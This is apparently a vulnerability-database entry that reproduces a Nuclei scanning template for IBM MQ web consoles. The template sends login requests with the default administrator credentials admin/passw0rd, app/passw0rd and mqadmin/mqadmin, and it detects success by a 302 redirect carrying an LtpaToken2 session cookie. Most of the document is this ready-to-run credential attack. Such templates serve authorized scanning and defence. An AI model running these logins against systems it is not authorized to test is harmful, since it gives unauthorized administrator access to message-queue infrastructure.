ibm-mqseries-default-login: IBM MQSeries Web Console Default Login

2025-08-01 IBM MQSeries PoC Public

Description

IBM MQ and REST API default admin credentials were discovered. An unauthenticated, remote attacker can exploit this gain privileged or administrator access to the system.

PoC

id: ibm-mqseries-default-login

info:
  name: IBM MQSeries Web Console Default Login
  author: righettod
  severity: high
  description: IBM MQ and REST API default admin credentials were discovered. An unauthenticated, remote attacker can exploit this gain privileged or administrator access to the system.
  reference:
    - https://github.com/ibm-messaging/mq-container/blob/master/etc/mqm/mq.htpasswd
    - https://vulners.com/nessus/IBM_MQ_DEFAULT_CREDENTIALS.NASL
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 3
  tags: ibm,default-login,vuln

http:
  - raw:
      - |
        POST /ibmmq/console/j_security_check HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/ibmmq/console/login.html

        j_username={{username}}&j_password={{password}}

    attack: pitchfork
    payloads:
      username:
        - admin
        - app
        - mqadmin
      password:
        - passw0rd
        - passw0rd
        - mqadmin

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "LtpaToken2_"

      - type: status
        status:
          - 302
# digest: 4a0a004730450221009ee6726fdf0ed109eeeb4520c75bf255c14e1ea6254b278afec0635c7f498d0602207b1d6aaed810a78ab5a6659a4bfea253f71245431d6911c4984417becbfa0b25:922c64590222798bb761d5b6d8e72950

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